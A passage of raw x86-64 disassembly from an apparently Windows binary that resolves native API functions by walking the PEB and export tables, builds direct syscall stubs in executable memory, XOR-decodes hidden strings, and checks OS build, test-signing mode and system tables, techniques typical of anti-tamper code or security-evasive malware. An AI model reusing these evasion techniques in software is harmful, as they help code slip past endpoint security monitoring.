cmp dword [rbp + 0x520], r15d
jne 0x1400abc7f
mov dl, 1
jmp 0x1400abc81
cmp r9d, r10d
je 0x1400abc54
mov dl, 1
jmp 0x1400abc81
xor dl, dl
mov dword [rbp - 0x56], 0x5272467d
mov dword [rbp - 0x52], 0x7d5d4c5a
mov dword [rbp - 0x4e], 0x595c50
mov byte [rbp - 0x4a], 1
mov rcx, r15
nop dword [rax]
lea eax, [rcx + 0x34]
xor byte [rbp + rcx - 0x56], al
inc rcx
cmp rcx, 0xb
jb 0x1400abca0
mov byte [rbp - 0x4a], r15b
mov byte [rbp + 0x110], dl
lea rax, [rbp - 0x56]
mov qword [rbp + 0x118], rax
mov qword [rbp - 0x38], r15
mov dword [rbp - 0x80], 0xb8
mov dword [rbp - 0x7c], 0xd18b4c00
mov word [rbp - 0x78], 0x50f
mov byte [rbp - 0x76], 0xc3
mov qword [rbp - 0x30], r15
mov qword [rbp + 0x530], r15
mov qword [rbp - 0x28], r15
mov dword [rbp + 0x24], r15d
mov dword [rbp + 0x3c], r15d
lea rdi, [rbp + 0x1b0]
xor eax, eax
mov ecx, 0x104
rep stosb byte [rdi], al
lea rax, [rbp + 0x1b0]
cmp word [rbp + 0x1b0], r15w
je 0x1400abd2a
nop dword [rax]
add rax, 2
cmp word [rax], r15w
jne 0x1400abd20
lea rcx, str.KnownDlls_
sub rcx, rax
nop dword [rax]
nop dword [rax + rax]
mov word [rax], r13w
lea rax, [rax + 2]
movzx r13d, word [rax + rcx]
test r13w, r13w
jne 0x1400abd40
xor r13d, r13d
mov word [rax], r13w
lea rax, [rbp + 0x1b0]
cmp word [rbp + 0x1b0], r13w
je 0x1400abd7a
nop dword [rax + rax]
add rax, 2
cmp word [rax], r13w
jne 0x1400abd70
lea rdx, [0x14013d920]
sub rdx, rax
mov ecx, 0x6e
nop dword [rax]
mov word [rax], cx
lea rax, [rax + 2]
movzx ecx, word [rax + rdx]
test cx, cx
jne 0x1400abd90
mov word [rax], r13w
lea rax, [rbp + 0x1b0]
mov ecx, r13d
cmp word [rbp + 0x1b0], r13w
je 0x1400abdcc
nop dword [rax + rax]
inc ecx
lea rax, [rax + 2]
cmp word [rax], r13w
jne 0x1400abdc0
add cx, cx
mov word [rbp - 0x20], cx
add cx, 2
mov word [rbp - 0x1e], cx
lea rax, [rbp + 0x1b0]
mov qword [rbp - 0x18], rax
movaps xmm0, xmmword [rbp - 0x20]
movdqa xmmword [rbp - 0x20], xmm0
mov dword [rbp + 0x20], 0x30
mov qword [rbp + 0x28], r13
mov dword [rbp + 0x38], 0x40
lea rax, [rbp - 0x20]
mov qword [rbp + 0x30], rax
xorps xmm0, xmm0
movdqu xmmword [rbp + 0x40], xmm0
mov r14, r13
mov rax, qword gs:[0x60]
mov rsi, qword [rax + 0x18]
add rsi, 0x20
mov rdi, qword [rsi]
cmp rdi, rsi
je 0x1400abe51
nop dword [rax]
mov rdx, qword [rdi + 0x50]
test rdx, rdx
je 0x1400abe43
call fcn.1400a7710
test rax, rax
jne 0x1400abe4d
mov rdi, qword [rdi]
cmp rdi, rsi
jne 0x1400abe30
jmp 0x1400abe51
lea r14, [rdi - 0x10]
mov r8, qword [r14 + 0x30]
mov r15d, 0x5a4d
test r8, r8
je 0x1400abef0
cmp word [r8], r15w
jne 0x1400abef0
mov eax, dword [r8 + 0x3c]
cmp dword [rax + r8], 0x4550
jne 0x1400abef0
mov eax, dword [rax + r8 + 0x88]
add rax, r8
je 0x1400abef0
mov edi, dword [rax + 0x20]
add rdi, r8
mov r11d, dword [rax + 0x24]
add r11, r8
mov ebx, dword [rax + 0x1c]
add rbx, r8
mov r9d, r13d
mov r10d, dword [rax + 0x14]
test r10d, r10d
je 0x1400abef0
lea rsi, str.ZwOpenSection
nop
mov edx, dword [rdi]
add rdx, r8
mov rax, rsi
je 0x1400abee4
movzx ecx, byte [rdx]
cmp cl, 0x5a
jne 0x1400abee0
sub rdx, rsi
test cl, cl
je 0x1400abedb
cmp byte [rax], r13b
je 0x1400abee0
inc rax
movzx ecx, byte [rax + rdx]
cmp cl, byte [rax]
je 0x1400abec5
jmp 0x1400abee0
cmp byte [rax], r13b
je 0x1400abf2d
cmp cl, byte [rax]
je 0x1400abf2d
inc r9d
add rdi, 4
cmp r9d, r10d
jb 0x1400abeb0
mov r12, r13
mov r14, r13
mov rax, qword gs:[0x60]
mov rsi, qword [rax + 0x18]
add rsi, 0x20
mov rdi, qword [rsi]
cmp rdi, rsi
je 0x1400abf42
nop
mov rdx, qword [rdi + 0x50]
test rdx, rdx
je 0x1400abf23
call fcn.1400a7710
test rax, rax
jne 0x1400abf3e
mov rdi, qword [rdi]
cmp rdi, rsi
jne 0x1400abf10
jmp 0x1400abf42
movsxd rax, r9d
movzx ecx, word [r11 + rax*2]
mov r12d, dword [rbx + rcx*4]
add r12, r8
jmp 0x1400abef3
lea r14, [rdi - 0x10]
mov r8, qword [r14 + 0x30]
test r8, r8
je 0x1400abfe0
cmp word [r8], r15w
jne 0x1400abfe0
mov eax, dword [r8 + 0x3c]
cmp dword [rax + r8], 0x4550
jne 0x1400abfe0
mov eax, dword [rax + r8 + 0x88]
add rax, r8
je 0x1400abfe0
mov edi, dword [rax + 0x20]
add rdi, r8
mov r11d, dword [rax + 0x24]
add r11, r8
mov ebx, dword [rax + 0x1c]
add rbx, r8
mov r9d, r13d
mov r10d, dword [rax + 0x14]
test r10d, r10d
je 0x1400abfe0
lea rsi, str.ZwMapViewOfSection
nop word [rax + rax]
mov edx, dword [rdi]
add rdx, r8
mov rax, rsi
je 0x1400abfd4
movzx ecx, byte [rdx]
cmp cl, 0x5a
jne 0x1400abfd0
sub rdx, rsi
test cl, cl
je 0x1400abfcb
cmp byte [rax], r13b
je 0x1400abfd0
inc rax
movzx ecx, byte [rax + rdx]
cmp cl, byte [rax]
je 0x1400abfb5
jmp 0x1400abfd0
cmp byte [rax], r13b
je 0x1400ac01d
cmp cl, byte [rax]
je 0x1400ac01d
inc r9d
add rdi, 4
cmp r9d, r10d
jb 0x1400abfa0
mov r15, r13
mov r14, r13
mov rax, qword gs:[0x60]
mov rsi, qword [rax + 0x18]
add rsi, 0x20
mov rdi, qword [rsi]
cmp rdi, rsi
je 0x1400ac032
nop
mov rdx, qword [rdi + 0x50]
test rdx, rdx
je 0x1400ac013
call fcn.1400a7710
test rax, rax
jne 0x1400ac02e
mov rdi, qword [rdi]
cmp rdi, rsi
jne 0x1400ac000
jmp 0x1400ac032
movsxd rax, r9d
movzx ecx, word [r11 + rax*2]
mov r15d, dword [rbx + rcx*4]
add r15, r8
jmp 0x1400abfe3
lea r14, [rdi - 0x10]
mov r8, qword [r14 + 0x30]
test r8, r8
je 0x1400ac165
mov eax, 0x5a4d
cmp word [r8], ax
jne 0x1400ac165
mov eax, dword [r8 + 0x3c]
cmp dword [rax + r8], 0x4550
jne 0x1400ac165
mov eax, dword [rax + r8 + 0x88]
add rax, r8
je 0x1400ac165
mov edi, dword [rax + 0x20]
add rdi, r8
mov r11d, dword [rax + 0x24]
add r11, r8
mov ebx, dword [rax + 0x1c]
add rbx, r8
mov r9d, r13d
mov r10d, dword [rax + 0x14]
test r10d, r10d
je 0x1400ac165
lea rsi, str.NtClose
nop dword [rax + rax]
mov edx, dword [rdi]
add rdx, r8
mov rax, rsi
je 0x1400ac0d4
movzx ecx, byte [rdx]
cmp cl, 0x4e
jne 0x1400ac0d0
sub rdx, rsi
test cl, cl
je 0x1400ac0cb
cmp byte [rax], r13b
je 0x1400ac0d0
inc rax
movzx ecx, byte [rax + rdx]
cmp cl, byte [rax]
je 0x1400ac0b5
jmp 0x1400ac0d0
cmp byte [rax], r13b
je 0x1400ac0e5
cmp cl, byte [rax]
je 0x1400ac0e5
inc r9d
add rdi, 4
cmp r9d, r10d
jb 0x1400ac0a0
jmp 0x1400ac165
movsxd rax, r9d
movzx ecx, word [r11 + rax*2]
mov edi, dword [rbx + rcx*4]
add rdi, r8
je 0x1400ac165
test r15, r15
je 0x1400ac165
test r12, r12
je 0x1400ac165
lea r8, [rbp + 0x20]
mov edx, 4
lea rcx, [rbp + 0x530]
call r12
test eax, eax
js 0x1400ac165
mov dword [rsp + 0x48], 2
mov dword [rsp + 0x40], r13d
mov dword [rsp + 0x38], 1
lea rax, [rbp - 0x28]
mov qword [rsp + 0x30], rax
mov qword [rsp + 0x28], r13
mov qword [rsp + 0x20], r13
xor r9d, r9d
lea r8, [rbp - 0x30]
lea rdx, [r9 - 1]
mov rcx, qword [rbp + 0x530]
call r15
test eax, eax
js 0x1400ac165
mov rcx, qword [rbp + 0x530]
test rcx, rcx
je 0x1400ac165
call rdi
mov r14, r13
mov rax, qword gs:[0x60]
mov rsi, qword [rax + 0x18]
add rsi, 0x20
mov rdi, qword [rsi]
cmp rdi, rsi
je 0x1400ac1a2
mov rdx, qword [rdi + 0x50]
test rdx, rdx
je 0x1400ac194
call fcn.1400a7710
test rax, rax
jne 0x1400ac19e
mov rdi, qword [rdi]
cmp rdi, rsi
jne 0x1400ac181
jmp 0x1400ac1a2
lea r14, [rdi - 0x10]
mov r14, qword [r14 + 0x30]
mov rsi, qword [rbp - 0x30]
test rsi, rsi
je 0x1400ac33b
test r14, r14
je 0x1400ac33b
mov r15d, 0x5a4d
cmp word [rsi], r15w
jne 0x1400ac258
mov eax, dword [rsi + 0x3c]
cmp dword [rax + rsi], 0x4550
jne 0x1400ac258
mov eax, dword [rax + rsi + 0x88]
add rax, rsi
je 0x1400ac258
mov edi, dword [rax + 0x20]
add rdi, rsi
mov r10d, dword [rax + 0x24]
add r10, rsi
mov r11d, dword [rax + 0x1c]
add r11, rsi
mov r8d, r13d
mov r9d, dword [rax + 0x14]
test r9d, r9d
je 0x1400ac258
lea rbx, str.NtQueryInformationProcess
nop
mov edx, dword [rdi]
add rdx, rsi
mov rax, rbx
je 0x1400ac24c
movzx ecx, byte [rdx]
cmp cl, 0x4e
jne 0x1400ac244
sub rdx, rbx
test cl, cl
je 0x1400ac23b
cmp byte [rax], r13b
je 0x1400ac244
inc rax
movzx ecx, byte [rax + rdx]
cmp cl, byte [rax]
je 0x1400ac225
jmp 0x1400ac244
cmp byte [rax], r13b
je 0x1400ac2db
cmp cl, byte [rax]
je 0x1400ac2db
inc r8d
add rdi, 4
cmp r8d, r9d
jb 0x1400ac210
mov rbx, r13
cmp word [r14], r15w
jne 0x1400ac304
mov eax, dword [r14 + 0x3c]
cmp dword [rax + r14], 0x4550
jne 0x1400ac304
mov eax, dword [rax + r14 + 0x88]
add rax, r14
je 0x1400ac304
mov edi, dword [rax + 0x20]
add rdi, r14
mov r10d, dword [rax + 0x24]
add r10, r14
mov r11d, dword [rax + 0x1c]
add r11, r14
mov r8d, r13d
mov r9d, dword [rax + 0x14]
test r9d, r9d
je 0x1400ac304
lea r15, str.ZwUnmapViewOfSection
nop
mov edx, dword [rdi]
add rdx, r14
mov rax, r15
je 0x1400ac2f8
movzx ecx, byte [rdx]
cmp cl, 0x5a
jne 0x1400ac2f4
sub rdx, r15
test cl, cl
je 0x1400ac2ef
cmp byte [rax], r13b
je 0x1400ac2f4
inc rax
movzx ecx, byte [rdx + rax]
cmp cl, byte [rax]
je 0x1400ac2c5
jmp 0x1400ac2f4
movsxd rax, r8d
movzx ecx, word [r10 + rax*2]
mov ebx, dword [r11 + rcx*4]
add rbx, rsi
jmp 0x1400ac25b
cmp byte [rax], r13b
je 0x1400ac31a
cmp cl, byte [rax]
je 0x1400ac31a
inc r8d
add rdi, 4
cmp r8d, r9d
jb 0x1400ac2b0
mov rax, r13
mov rdx, rsi
mov rcx, 0xffffffffffffffff
test rbx, rbx
jne 0x1400ac32b
call rax
jmp 0x1400ac33b
movsxd rax, r8d
movzx ecx, word [r10 + rax*2]
mov eax, dword [r11 + rcx*4]
add rax, r14
jmp 0x1400ac307
movzx ebx, word [rbx + 4]
call rax
mov word [rsp + 0x58], bx
test bx, bx
jne 0x1400ac388
mov al, byte [0x7ffe026c]
cmp al, 0xa
je 0x1400ac37b
cmp al, 6
jne 0x1400ac374
movzx ecx, byte [0x7ffe0270]
sub ecx, 1
je 0x1400ac374
sub ecx, 1
je 0x1400ac36d
cmp ecx, 1
jne 0x1400ac37b
mov ebx, 0x18
mov word [rsp + 0x58], bx
jmp 0x1400ac388
mov eax, reloc.WS2_32.dll_socket
jmp 0x1400ac380
mov eax, socket
jmp 0x1400ac380
mov eax, 0x19
movzx ebx, ax
mov word [rsp + 0x58], ax
mov edx, 0x1024
xor ecx, ecx
lea r9d, [rcx + 0x40]
lea r8d, [rdx - 0x24]
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov rdi, rax
test rax, rax
je 0x1400ac480
lea rcx, [rbp - 0x7f]
lea rax, [rsp + 0x58]
cmp rcx, rax
jbe 0x1400ac3c0
lea rcx, [rbp - 0x7f]
lea rax, [rsp + 0x5a]
movzx eax, byte [rsp + 0x59]
mov byte [rbp - 0x7e], al
mov byte [rbp - 0x7f], bl
lea rcx, [rbp - 0x80]
cmp rdi, rcx
jbe 0x1400ac3e0
lea rcx, [rbp - 0x75]
nop dword [rax + rax]
mov dword [rdi + 7], 0xc3050fd1
mov dword [rdi + 3], 0x8b4c0000
mov byte [rdi + 2], al
mov byte [rdi + 1], bl
mov byte [rdi], 0xb8
mov qword [rsp + 0x20], r13
mov r9d, 8
lea r8, [rbp - 0x38]
lea edx, [r9 + 0x16]
mov rcx, 0xffffffffffffffff
call rdi
mov ebx, eax
mov r8, rdi
lea r11, [rbp - 0x80]
sub r11, rdi
nop
movzx r9d, byte [r8]
movzx r10d, byte [r11 + r8]
lea eax, [r10 - 0x61]
lea edx, [r10 - 0x20]
cmp eax, 0x19
cmova edx, r10d
lea eax, [r9 - 0x61]
lea ecx, [r9 - 0x20]
cmp eax, 0x19
cmova ecx, r9d
cmp ecx, edx
jne 0x1400ac477
inc r8
sub qword [rbp + 0xb0], 1
jne 0x1400ac420
xor edx, edx
mov r8d, 0x8000
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_VirtualFree]
test ebx, ebx
js 0x1400ac480
cmp qword [rbp - 0x38], r13
je 0x1400ac480
mov dl, 1
jmp 0x1400ac482
cmp r9d, r10d
je 0x1400ac458
mov dl, 1
jmp 0x1400ac482
xor dl, dl
movdqa xmm0, xmmword [0x14013e620]
movdqu xmmword [rbp + 0x69], xmm0
mov dword [rbp + 0x79], 0xa8a0af
mov byte [rbp + 0x7d], 1
mov rcx, r13
nop dword [rax]
lea eax, [rcx - 0x45]
xor byte [rbp + rcx + 0x69], al
inc rcx
cmp rcx, 0x13
jb 0x1400ac4a0
mov byte [rbp + 0x7d], r13b
mov byte [rbp + 0x120], dl
lea rax, [rbp + 0x69]
mov qword [rbp + 0x128], rax
call fcn.1400a7840
movdqa xmm0, xmmword [0x14013e2f0]
movdqu xmmword [rbp + 0x93], xmm0
mov word [rbp + 0xa3], 0x20
mov byte [rbp + 0xa5], 1
mov rdx, r13
nop dword [rax]
lea ecx, [rdx + 0x34]
xor byte [rbp + rdx + 0x93], cl
inc rdx
cmp rdx, 0x11
jb 0x1400ac4f0
mov byte [rbp + 0xa5], r13b
mov byte [rbp + 0x130], al
lea rax, [rbp + 0x93]
mov qword [rbp + 0x138], rax
call fcn.1400a8e40
movdqa xmm0, xmmword [str.FtVqS_YiVM__]
movdqu xmmword [rbp + 0xd8], xmm0
mov byte [rbp + 0xe8], 1
mov rdx, r13
nop dword [rax]
lea ecx, [rdx + 0x34]
xor byte [rbp + rdx + 0xd8], cl
inc rdx
cmp rdx, 0xf
jb 0x1400ac540
mov byte [rbp + 0xe8], r13b
mov byte [rbp + 0x140], al
lea rax, [rbp + 0xd8]
mov qword [rbp + 0x148], rax
xor r12b, r12b
mov dword [rbp + 0x520], r13d
mov r15, r13
mov r14, r13
mov rax, qword gs:[0x60]
mov rsi, qword [rax + 0x18]
add rsi, 0x20
mov rdi, qword [rsi]
cmp rdi, rsi
je 0x1400ac5b8
mov rdx, qword [rdi + 0x50]
test rdx, rdx
je 0x1400ac5aa
call fcn.1400a7710
test rax, rax
jne 0x1400ac5b4
mov rdi, qword [rdi]
cmp rdi, rsi
jne 0x1400ac597
jmp 0x1400ac5b8
lea r14, [rdi - 0x10]
mov r8, qword [r14 + 0x30]
lea r13, [0x14013da20]
test r8, r8
je 0x1400ac7c1
mov eax, 0x5a4d
cmp word [r8], ax
jne 0x1400ac7c1
mov eax, dword [r8 + 0x3c]
cmp dword [rax + r8], 0x4550
jne 0x1400ac7c1
mov eax, dword [rax + r8 + 0x88]
add rax, r8
je 0x1400ac7c1
mov edi, dword [rax + 0x20]
add rdi, r8
mov r11d, dword [rax + 0x24]
add r11, r8
mov ebx, dword [rax + 0x1c]
add rbx, r8
xor r9d, r9d
mov r10d, dword [rax + 0x14]
test r10d, r10d
je 0x1400ac7c1
mov edx, dword [rdi]
add rdx, r8
mov rax, r13
je 0x1400ac655
movzx ecx, byte [rdx]
cmp cl, 0x4e
jne 0x1400ac651
sub rdx, r13
test cl, cl
je 0x1400ac64c
cmp byte [rax], r12b
je 0x1400ac651
inc rax
movzx ecx, byte [rax + rdx]
cmp cl, byte [rax]
je 0x1400ac636
jmp 0x1400ac651
cmp byte [rax], r12b
je 0x1400ac666
cmp cl, byte [rax]
je 0x1400ac666
inc r9d
add rdi, 4
cmp r9d, r10d
jb 0x1400ac621
jmp 0x1400ac7c1
movsxd rax, r9d
movzx ecx, word [r11 + rax*2]
mov edi, dword [rbx + rcx*4]
add rdi, r8
je 0x1400ac7c1
lea r9, [rbp + 0x520]
xor r8d, r8d
xor edx, edx
mov ebx, socket
mov ecx, ebx
call rdi
cmp eax, 0xc0000004
jne 0x1400ac6e3
test r15, r15
je 0x1400ac6ac
xor edx, edx
mov r8d, 0x8000
mov rcx, r15
call qword [sym.imp.KERNEL32.dll_VirtualFree]
mov edx, dword [rbp + 0x520]
xor ecx, ecx
lea r9d, [rcx + 4]
mov r8d, 0x3000
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov r15, rax
lea r9, [rbp + 0x520]
mov r8d, dword [rbp + 0x520]
mov rdx, rax
mov ecx, ebx
call rdi
cmp eax, 0xc0000004
je 0x1400ac696
test eax, eax
jns 0x1400ac6f5
test r15, r15
je 0x1400ac7c1
jmp 0x1400ac7b0
lea r11, [r15 + 8]
mov eax, dword [r15]
test eax, eax
je 0x1400ac7b0
mov esi, eax
lea r14, str.Hyhd
nop dword [rax]
mov r8, r14
test r11, r11
je 0x1400ac7a2
mov rbx, r11
sub rbx, r14
movsx r10d, byte [r8 + rbx]
movsx r9d, byte [r8]
lea eax, [r9 - 0x41]
lea edx, [r9 + 0x20]
cmp eax, 0x19
cmova edx, r9d
lea eax, [r10 - 0x41]
lea ecx, [r10 + 0x20]
cmp eax, 0x19
cmova ecx, r10d
cmp ecx, edx
jne 0x1400ac761
test r10b, r10b
je 0x1400ac75c
test r9b, r9b
je 0x1400ac761
inc r8
jmp 0x1400ac722
test r9b, r9b
je 0x1400ac783
lea eax, [r9 - 0x41]
lea edx, [r9 + 0x20]
cmp eax, 0x19
cmova edx, r9d
lea eax, [r10 - 0x41]
lea ecx, [r10 + 0x20]
cmp eax, 0x19
cmova ecx, r10d
cmp ecx, edx
jne 0x1400ac7a2
cmp dword [r11 + 4], 0
jne 0x1400ac791
cmp dword [r11 + 0x18], 0
je 0x1400ac7a2
cmp qword [r11 + 0x20], 0xa
ja 0x1400ac79f
cmp qword [r11 + 0x10], 0xa
jbe 0x1400ac7a2
mov r12b, 1
add r11, 0x28
sub rsi, 1
jne 0x1400ac710
mov r8d, 0x8000
xor edx, edx
mov rcx, r15
call qword [sym.imp.KERNEL32.dll_VirtualFree]
movdqa xmm0, xmmword [0x14013e710]
movdqu xmmword [rbp], xmm0
mov dword [rbp + 0x10], 0xa9a3a5ac
mov dword [rbp + 0x14], 0xb1bea29f
mov dword [rbp + 0x18], 0xa6a7b6
mov byte [rbp + 0x1c], 1
xor r15d, r15d
mov ecx, r15d
nop dword [rax]
lea eax, [rcx - 0x45]
xor byte [rbp + rcx], al
inc rcx
cmp rcx, 0x1b
jb 0x1400ac7f0
mov byte [rbp + 0x1c], r15b
mov byte [rbp + 0x150], r12b
lea rax, [rbp]
mov qword [rbp + 0x158], rax
mov r14, r15
mov rax, qword gs:[0x60]
mov rsi, qword [rax + 0x18]
add rsi, 0x20
mov rdi, qword [rsi]
cmp rdi, rsi
je 0x1400ac853
mov rdx, qword [rdi + 0x50]
test rdx, rdx
je 0x1400ac845
call fcn.1400a7710
test rax, rax
jne 0x1400ac84f
mov rdi, qword [rdi]
cmp rdi, rsi
jne 0x1400ac832
jmp 0x1400ac853
lea r14, [rdi - 0x10]
mov r8, qword [r14 + 0x30]
lea r9, str.FileVersion
nop
mov rax, r9
test r8, r8
je 0x1400ac8a8
movzx ecx, word [r8]
cmp cx, 0x46
jne 0x1400ac8a3
mov ecx, 0x46
mov rdi, r8
sub rdi, r9
nop dword [rax]
test cx, cx
je 0x1400ac89d
cmp word [rax], r15w
je 0x1400ac8a3
add rax, 2
movzx edx, word [rdi + rax]
movzx ecx, dx
cmp dx, word [rax]
je 0x1400ac880
jmp 0x1400ac8a3
cmp word [rax], r15w
je 0x1400ac8ae
cmp cx, word [rax]
je 0x1400ac8ae
add r8, 2
jmp 0x1400ac860
add r8, 0x24
mov rbx, r15
mov edi, r15d
je 0x1400ac902
movzx eax, word [r8]
cmp ax, 0x2d
jne 0x1400ac8cb
mov edi, 1
jmp 0x1400ac8d1
cmp ax, 0x2b
jne 0x1400ac8e0
add r8, 2
nop word [rax + rax]
movzx edx, word [r8]
lea eax, [rdx - 0x30]
cmp ax, 9
ja 0x1400ac8fb
lea rbx, [rbx + rbx*4]
lea rbx, [rbx - 0x18]
lea rbx, [rdx + rbx*2]
jmp 0x1400ac8d1
test edi, edi
je 0x1400ac902
neg rbx
mov dl, byte [0x7ffe026c]
cmp dl, 0xa
je 0x1400aca83
cmp dl, 6
jne 0x1400ac951
movzx ecx, byte [0x7ffe0270]
sub ecx, 1
je 0x1400ac951
sub ecx, 1
je 0x1400ac951
cmp ecx, 1
je 0x1400ac951
movzx ecx, byte [0x7ffe0270]
sub ecx, 1
je 0x1400ac949
sub ecx, 1
je 0x1400ac949
cmp ecx, 1
jne 0x1400aca83
mov ecx, r15d
jmp 0x1400aca8a
mov dword [rbp + 0x1b0], 0x114
mov rax, qword gs:[0x60]
mov r14, qword [rax + 0x18]
add r14, 0x20
mov rdi, qword [r14]
cmp rdi, r14
je 0x1400ac995
mov rdx, qword [rdi + 0x50]
test rdx, rdx
je 0x1400ac987
call fcn.1400a7710
test rax, rax
jne 0x1400ac991
mov rdi, qword [rdi]
cmp rdi, r14
jne 0x1400ac974
jmp 0x1400ac995
lea r15, [rdi - 0x10]
mov r8, qword [r15 + 0x30]
test r8, r8
je 0x1400acadd
mov eax, 0x5a4d
cmp word [r8], ax
jne 0x1400acadd
mov eax, dword [r8 + 0x3c]
cmp dword [rax + r8], 0x4550
jne 0x1400acadd
mov eax, dword [rax + r8 + 0x88]
add rax, r8
je 0x1400acadd
mov edi, dword [rax + 0x20]
add rdi, r8
mov r11d, dword [rax + 0x24]
add r11, r8
mov esi, dword [rax + 0x1c]
add rsi, r8
xor r15d, r15d
mov r9d, r15d
mov r10d, dword [rax + 0x14]
test r10d, r10d
je 0x1400acae0
lea r14, str.RtlGetVersion
mov edx, dword [rdi]
add rdx, r8
mov rax, r14
je 0x1400aca35
movzx ecx, byte [rdx]
cmp cl, 0x52
jne 0x1400aca31
sub rdx, r14
test cl, cl
je 0x1400aca2c
cmp byte [rax], r15b
je 0x1400aca31
inc rax
movzx ecx, byte [rdx + rax]
cmp cl, byte [rax]
je 0x1400aca16
jmp 0x1400aca31
cmp byte [rax], r15b
je 0x1400aca46
cmp cl, byte [rax]
je 0x1400aca46
inc r9d
add rdi, 4
cmp r9d, r10d
jb 0x1400aca01
jmp 0x1400acae0
movsxd rax, r9d
movzx ecx, word [r11 + rax*2]
mov eax, dword [rsi + rcx*4]
add rax, r8
je 0x1400acae0
lea rcx, [rbp + 0x1b0]
call rax
mov rax, qword gs:[0x60]
mov ecx, dword [rbp + 0x1bc]
cmp ecx, dword [rax + 0x120]
je 0x1400aca7e
mov dl, 1
jmp 0x1400acae2
mov rax, rcx
jmp 0x1400acace
mov ecx, dword [0x7ffe0260]
mov rax, qword gs:[0x60]
cmp ecx, dword [rax + 0x120]
je 0x1400aca9f
mov dl, 1
jmp 0x1400acae2
cmp dl, 0xa
je 0x1400acac5
cmp dl, 6
jne 0x1400acac0
movzx ecx, byte [0x7ffe0270]
sub ecx, 1
je 0x1400acac0
sub ecx, 1
je 0x1400acac0
cmp ecx, 1
jne 0x1400acac5
mov eax, r15d
jmp 0x1400acacc
mov eax, dword [0x7ffe0260]
cdqe
sub rax, rbx
cmp rax, 0x7d0
jbe 0x1400acae0
mov dl, 1
jmp 0x1400acae2
xor r15d, r15d
xor dl, dl
movdqa xmm0, xmmword [0x14013e640]
movdqu xmmword [rbp + 0x7e], xmm0
mov dword [rbp + 0x8e], 0xa9a9a0
mov byte [rbp + 0x92], 1
mov rcx, r15
nop dword [rax]
nop word [rax + rax]
lea eax, [rcx - 0x45]
xor byte [rbp + rcx + 0x7e], al
inc rcx
cmp rcx, 0x13
jb 0x1400acb10
mov byte [rbp + 0x92], 0
mov byte [rbp + 0x160], dl
lea rax, [rbp + 0x7e]
mov qword [rbp + 0x168], rax
mov qword [rbp + 0x530], r15
mov dword [rbp + 0x530], 8
mov r14, r15
mov rax, qword gs:[0x60]
mov rsi, qword [rax + 0x18]
add rsi, 0x20
mov rdi, qword [rsi]
cmp rdi, rsi
je 0x1400acb86
mov rdx, qword [rdi + 0x50]
test rdx, rdx
je 0x1400acb78
call fcn.1400a7710
test rax, rax
jne 0x1400acb82
mov rdi, qword [rdi]
cmp rdi, rsi
jne 0x1400acb65
jmp 0x1400acb86
lea r14, [rdi - 0x10]
mov r9, qword [r14 + 0x30]
test r9, r9
je 0x1400acc28
mov eax, 0x5a4d
cmp word [r9], ax
jne 0x1400acc28
mov eax, dword [r9 + 0x3c]
cmp dword [rax + r9], 0x4550
jne 0x1400acc28
mov eax, dword [rax + r9 + 0x88]
add rax, r9
je 0x1400acc28
mov edi, dword [rax + 0x20]
add rdi, r9
mov r11d, dword [rax + 0x24]
add r11, r9
mov ebx, dword [rax + 0x1c]
add rbx, r9
mov r8d, r15d
mov r10d, dword [rax + 0x14]
test r10d, r10d
je 0x1400acc28
nop dword [rax]
mov edx, dword [rdi]
add rdx, r9
mov rax, r13
je 0x1400acc1c
movzx ecx, byte [rdx]
cmp cl, 0x4e
jne 0x1400acc14
sub rdx, r13
test cl, cl
je 0x1400acc0b
cmp byte [rax], 0
je 0x1400acc14
inc rax
movzx ecx, byte [rdx + rax]
cmp cl, byte [rax]
je 0x1400acbf5
jmp 0x1400acc14
cmp byte [rax], 0
je 0x1400acf69
cmp cl, byte [rax]
je 0x1400acf69
inc r8d
add rdi, 4
cmp r8d, r10d
jb 0x1400acbe0
xor dl, dl
mov dword [rbp - 0x49], 0x52525a77
mov dword [rbp - 0x45], 0x784e5771
mov dword [rbp - 0x41], 0x545d5854
mov word [rbp - 0x3d], 0x100
mov rcx, r15
nop dword [rax + rax]
lea eax, [rcx + 0x34]
xor byte [rbp + rcx - 0x49], al
inc rcx
cmp rcx, 0xc
jb 0x1400acc50
mov byte [rbp - 0x3c], 0
mov byte [rbp + 0x170], dl
lea rax, [rbp - 0x49]
mov qword [rbp + 0x178], rax
xor bl, bl
mov dword [rbp + 0x520], 0x104
mov r14d, 1
mov dword [rbp + 0x530], r14d
lea rax, [rbp + 0xd0]
mov qword [rsp + 0x20], rax
mov r9d, r14d
xor r8d, r8d
lea rdx, str.SYSTEMCurrentControlSetControl
mov rcx, 0xffffffff80000002
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x1400acd94
lea rax, [rbp + 0x520]
mov qword [rsp + 0x28], rax
lea rax, [rbp + 0x3c0]
mov qword [rsp + 0x20], rax
lea r9, [rbp + 0x530]
xor r8d, r8d
lea rdx, str.SystemStartOptions
mov rcx, qword [rbp + 0xd0]
call qword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
test eax, eax
jne 0x1400acd87
lea r10, [rbp + 0x3c0]
cmp byte [rbp + 0x3c0], bl
je 0x1400acd87
lea r11, str.TESTSIGNING
movzx esi, byte [str.TESTSIGNING]
test r10, r10
je 0x1400acd87
mov r9, r10
mov r8, r11
movzx eax, sil
nop word [rax + rax]
movsx edx, byte [r9]
inc r9
movsx ecx, al
lea r8, [r8 + 1]
lea eax, [rcx - 0x41]
lea edi, [rcx + 0x20]
cmp eax, 0x19
cmova edi, ecx
lea eax, [rdx - 0x41]
cmp eax, 0x19
ja 0x1400acd55
add edx, 0x20
cmp edx, edi
jne 0x1400acfa1
movzx eax, byte [r8]
test al, al
jne 0x1400acd30
mov eax, r15d
nop dword [rax + rax]
inc eax
lea r11, [r11 + 1]
cmp byte [r11], bl
jne 0x1400acd70
cdqe
cmp r9, rax
movzx ebx, bl
cmovne ebx, r14d
mov rcx, qword [rbp + 0xd0]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
movdqa xmm0, xmmword [0x14013e3f0]
movdqu xmmword [rbp + 0x50], xmm0
mov dword [rbp + 0x60], 0x222a2725
mov dword [rbp + 0x64], 0xf1a0c
mov byte [rbp + 0x68], r14b
mov rcx, r15
nop word [rax + rax]
lea eax, [rcx + 0x34]
xor byte [rbp + rcx + 0x50], al
inc rcx
cmp rcx, 0x17
jb 0x1400acdc0
mov byte [rbp + 0x68], 0
